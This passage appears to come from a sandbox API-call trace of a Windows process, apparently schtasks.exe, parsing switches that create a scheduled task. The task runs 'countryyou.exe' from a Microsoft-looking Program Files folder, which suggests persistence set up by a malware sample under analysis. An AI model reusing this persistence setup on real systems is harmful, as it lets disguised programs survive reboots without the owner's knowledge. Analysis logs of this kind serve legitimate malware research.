(lpString="|s|") returned 3 [0072.315] lstrlenW (lpString="|mo|") returned 4 [0072.315] SetLastError (dwErrCode=0x490) [0072.315] lstrlenW (lpString="u") returned 1 [0072.315] lstrlenW (lpString="u") returned 1 [0072.315] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.315] lstrlenW (lpString="mo") returned 2 [0072.315] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.315] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|u|") returned 3 [0072.315] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.315] lstrlenW (lpString="|u|") returned 3 [0072.315] lstrlenW (lpString="|mo|") returned 4 [0072.315] SetLastError (dwErrCode=0x490) [0072.315] lstrlenW (lpString="p") returned 1 [0072.315] lstrlenW (lpString="p") returned 1 [0072.315] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.315] lstrlenW (lpString="mo") returned 2 [0072.315] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.315] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|p|") returned 3 [0072.316] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.316] lstrlenW (lpString="|p|") returned 3 [0072.316] lstrlenW (lpString="|mo|") returned 4 [0072.316] SetLastError (dwErrCode=0x490) [0072.316] lstrlenW (lpString="ru") returned 2 [0072.316] lstrlenW (lpString="ru") returned 2 [0072.316] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.316] lstrlenW (lpString="mo") returned 2 [0072.316] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.316] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ru|") returned 4 [0072.316] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.316] lstrlenW (lpString="|ru|") returned 4 [0072.316] lstrlenW (lpString="|mo|") returned 4 [0072.316] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0072.316] SetLastError (dwErrCode=0x490) [0072.316] lstrlenW (lpString="rp") returned 2 [0072.316] lstrlenW (lpString="rp") returned 2 [0072.316] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.316] lstrlenW (lpString="mo") returned 2 [0072.316] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.316] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|rp|") returned 4 [0072.316] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.316] lstrlenW (lpString="|rp|") returned 4 [0072.316] lstrlenW (lpString="|mo|") returned 4 [0072.316] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0072.317] SetLastError (dwErrCode=0x490) [0072.317] lstrlenW (lpString="sc") returned 2 [0072.317] lstrlenW (lpString="sc") returned 2 [0072.317] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.317] lstrlenW (lpString="mo") returned 2 [0072.317] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.317] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.317] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.317] lstrlenW (lpString="|sc|") returned 4 [0072.317] lstrlenW (lpString="|mo|") returned 4 [0072.317] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0072.317] SetLastError (dwErrCode=0x490) [0072.317] lstrlenW (lpString="mo") returned 2 [0072.317] lstrlenW (lpString="mo") returned 2 [0072.317] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.317] lstrlenW (lpString="mo") returned 2 [0072.317] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.317] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.317] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.317] lstrlenW (lpString="|mo|") returned 4 [0072.317] lstrlenW (lpString="|mo|") returned 4 [0072.317] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0072.317] SetLastError (dwErrCode=0x0) [0072.317] SetLastError (dwErrCode=0x0) [0072.317] lstrlenW (lpString="7") returned 1 [0072.318] SetLastError (dwErrCode=0x490) [0072.318] SetLastError (dwErrCode=0x0) [0072.318] lstrlenW (lpString="7") returned 1 [0072.318] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0072.318] SetLastError (dwErrCode=0x490) [0072.318] SetLastError (dwErrCode=0x0) [0072.318] _memicmp (_Buf1=0x7d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.318] lstrlenW (lpString="7") returned 1 [0072.318] lstrlenW (lpString="7") returned 1 [0072.318] lstrlenW (lpString=" \x09") returned 2 [0072.318] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0072.318] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0072.318] GetLastError () returned 0x0 [0072.318] lstrlenW (lpString="7") returned 1 [0072.318] lstrlenW (lpString="7") returned 1 [0072.318] GetProcessHeap () returned 0x60000 [0072.318] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x4) returned 0x75590 [0072.318] SetLastError (dwErrCode=0x0) [0072.318] SetLastError (dwErrCode=0x0) [0072.318] lstrlenW (lpString="/tr") returned 3 [0072.318] lstrlenW (lpString="-/") returned 2 [0072.318] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.318] lstrlenW (lpString="create") returned 6 [0072.318] lstrlenW (lpString="create") returned 6 [0072.318] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.318] lstrlenW (lpString="tr") returned 2 [0072.318] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.319] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.319] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.319] lstrlenW (lpString="|create|") returned 8 [0072.319] lstrlenW (lpString="|tr|") returned 4 [0072.319] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0072.319] SetLastError (dwErrCode=0x490) [0072.319] lstrlenW (lpString="?") returned 1 [0072.319] lstrlenW (lpString="?") returned 1 [0072.319] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.319] lstrlenW (lpString="tr") returned 2 [0072.319] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.319] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|?|") returned 3 [0072.319] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.319] lstrlenW (lpString="|?|") returned 3 [0072.319] lstrlenW (lpString="|tr|") returned 4 [0072.319] SetLastError (dwErrCode=0x490) [0072.319] lstrlenW (lpString="s") returned 1 [0072.319] lstrlenW (lpString="s") returned 1 [0072.319] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.319] lstrlenW (lpString="tr") returned 2 [0072.319] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.319] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|s|") returned 3 [0072.319] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.319] lstrlenW (lpString="|s|") returned 3 [0072.320] lstrlenW (lpString="|tr|") returned 4 [0072.320] SetLastError (dwErrCode=0x490) [0072.320] lstrlenW (lpString="u") returned 1 [0072.320] lstrlenW (lpString="u") returned 1 [0072.320] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.320] lstrlenW (lpString="tr") returned 2 [0072.320] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.320] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|u|") returned 3 [0072.320] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.320] lstrlenW (lpString="|u|") returned 3 [0072.320] lstrlenW (lpString="|tr|") returned 4 [0072.320] SetLastError (dwErrCode=0x490) [0072.320] lstrlenW (lpString="p") returned 1 [0072.320] lstrlenW (lpString="p") returned 1 [0072.320] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.320] lstrlenW (lpString="tr") returned 2 [0072.320] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.320] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|p|") returned 3 [0072.320] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.320] lstrlenW (lpString="|p|") returned 3 [0072.320] lstrlenW (lpString="|tr|") returned 4 [0072.320] SetLastError (dwErrCode=0x490) [0072.320] lstrlenW (lpString="ru") returned 2 [0072.320] lstrlenW (lpString="ru") returned 2 [0072.320] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.321] lstrlenW (lpString="tr") returned 2 [0072.321] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.321] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ru|") returned 4 [0072.321] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.321] lstrlenW (lpString="|ru|") returned 4 [0072.321] lstrlenW (lpString="|tr|") returned 4 [0072.321] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0072.321] SetLastError (dwErrCode=0x490) [0072.321] lstrlenW (lpString="rp") returned 2 [0072.321] lstrlenW (lpString="rp") returned 2 [0072.321] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.321] lstrlenW (lpString="tr") returned 2 [0072.321] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.321] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|rp|") returned 4 [0072.321] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.321] lstrlenW (lpString="|rp|") returned 4 [0072.321] lstrlenW (lpString="|tr|") returned 4 [0072.321] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0072.321] SetLastError (dwErrCode=0x490) [0072.321] lstrlenW (lpString="sc") returned 2 [0072.321] lstrlenW (lpString="sc") returned 2 [0072.321] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.322] lstrlenW (lpString="tr") returned 2 [0072.322] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.322] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.322] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.322] lstrlenW (lpString="|sc|") returned 4 [0072.322] lstrlenW (lpString="|tr|") returned 4 [0072.322] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0072.322] SetLastError (dwErrCode=0x490) [0072.322] lstrlenW (lpString="mo") returned 2 [0072.322] lstrlenW (lpString="mo") returned 2 [0072.322] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.322] lstrlenW (lpString="tr") returned 2 [0072.322] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.322] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.322] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.322] lstrlenW (lpString="|mo|") returned 4 [0072.322] lstrlenW (lpString="|tr|") returned 4 [0072.322] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0072.322] SetLastError (dwErrCode=0x490) [0072.322] lstrlenW (lpString="d") returned 1 [0072.322] lstrlenW (lpString="d") returned 1 [0072.322] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.322] lstrlenW (lpString="tr") returned 2 [0072.322] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.323] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|d|") returned 3 [0072.323] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.323] lstrlenW (lpString="|d|") returned 3 [0072.323] lstrlenW (lpString="|tr|") returned 4 [0072.323] SetLastError (dwErrCode=0x490) [0072.323] lstrlenW (lpString="m") returned 1 [0072.323] lstrlenW (lpString="m") returned 1 [0072.323] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.323] lstrlenW (lpString="tr") returned 2 [0072.323] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.323] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|m|") returned 3 [0072.323] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.323] lstrlenW (lpString="|m|") returned 3 [0072.323] lstrlenW (lpString="|tr|") returned 4 [0072.323] SetLastError (dwErrCode=0x490) [0072.323] lstrlenW (lpString="i") returned 1 [0072.323] lstrlenW (lpString="i") returned 1 [0072.323] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.323] lstrlenW (lpString="tr") returned 2 [0072.323] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.323] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|i|") returned 3 [0072.323] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.323] lstrlenW (lpString="|i|") returned 3 [0072.323] lstrlenW (lpString="|tr|") returned 4 [0072.324] SetLastError (dwErrCode=0x490) [0072.324] lstrlenW (lpString="tn") returned 2 [0072.324] lstrlenW (lpString="tn") returned 2 [0072.324] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.324] lstrlenW (lpString="tr") returned 2 [0072.324] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.324] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.324] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.324] lstrlenW (lpString="|tn|") returned 4 [0072.324] lstrlenW (lpString="|tr|") returned 4 [0072.324] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0072.324] SetLastError (dwErrCode=0x490) [0072.324] lstrlenW (lpString="tr") returned 2 [0072.324] lstrlenW (lpString="tr") returned 2 [0072.324] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.324] lstrlenW (lpString="tr") returned 2 [0072.324] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.324] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.324] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.324] lstrlenW (lpString="|tr|") returned 4 [0072.324] lstrlenW (lpString="|tr|") returned 4 [0072.324] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0072.324] SetLastError (dwErrCode=0x0) [0072.324] SetLastError (dwErrCode=0x0) [0072.325] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.325] lstrlenW (lpString="-/") returned 2 [0072.325] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.325] SetLastError (dwErrCode=0x490) [0072.325] SetLastError (dwErrCode=0x490) [0072.325] SetLastError (dwErrCode=0x0) [0072.325] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.325] StrChrIW (lpStart="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'" [0072.325] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.325] _memicmp (_Buf1=0x7c4b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.325] _memicmp (_Buf1=0x7d680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.325] SetLastError (dwErrCode=0x7a) [0072.325] SetLastError (dwErrCode=0x0) [0072.325] SetLastError (dwErrCode=0x0) [0072.325] lstrlenW (lpString="'C") returned 2 [0072.325] lstrlenW (lpString="-/") returned 2 [0072.325] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.325] SetLastError (dwErrCode=0x490) [0072.325] SetLastError (dwErrCode=0x490) [0072.325] SetLastError (dwErrCode=0x0) [0072.325] _memicmp (_Buf1=0x7d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.325] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.325] GetProcessHeap () returned 0x60000 [0072.325] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d700) returned 1 [0072.325] GetProcessHeap () returned 0x60000 [0072.325] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7d700, Size=0x8e) returned 0x7c3f0 [0072.326] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.326] lstrlenW (lpString=" \x09") returned 2 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.326] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.326] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.327] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.327] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0072.327] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.328] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.328] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0072.328] GetLastError () returned 0x0 [0072.328] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.328] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.328] SetLastError (dwErrCode=0x0) [0072.328] SetLastError (dwErrCode=0x0) [0072.328] lstrlenW (lpString="/f") returned 2 [0072.329] lstrlenW (lpString="-/") returned 2 [0072.329] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.329] lstrlenW (lpString="create") returned 6 [0072.329] lstrlenW (lpString="create") returned 6 [0072.329] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.329] lstrlenW (lpString="f") returned 1 [0072.329] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.329] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.329] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.329] lstrlenW (lpString="|create|") returned 8 [0072.329] lstrlenW (lpString="|f|") returned 3 [0072.329] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0072.329] SetLastError (dwErrCode=0x490) [0072.329] lstrlenW (lpString="?") returned 1 [0072.329] lstrlenW (lpString="?") returned 1 [0072.329] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.329] lstrlenW (lpString="f") returned 1 [0072.332] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.332] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|?|") returned 3 [0072.332] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.332] lstrlenW (lpString="|?|") returned 3 [0072.332] lstrlenW (lpString="|f|") returned 3 [0072.332] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0072.332] SetLastError (dwErrCode=0x490) [0072.332] lstrlenW (lpString="s") returned 1 [0072.332] lstrlenW (lpString="s") returned 1 [0072.332] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.332] lstrlenW (lpString="f") returned 1 [0072.332] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.332] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|s|") returned 3 [0072.332] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.332] lstrlenW (lpString="|s|") returned 3 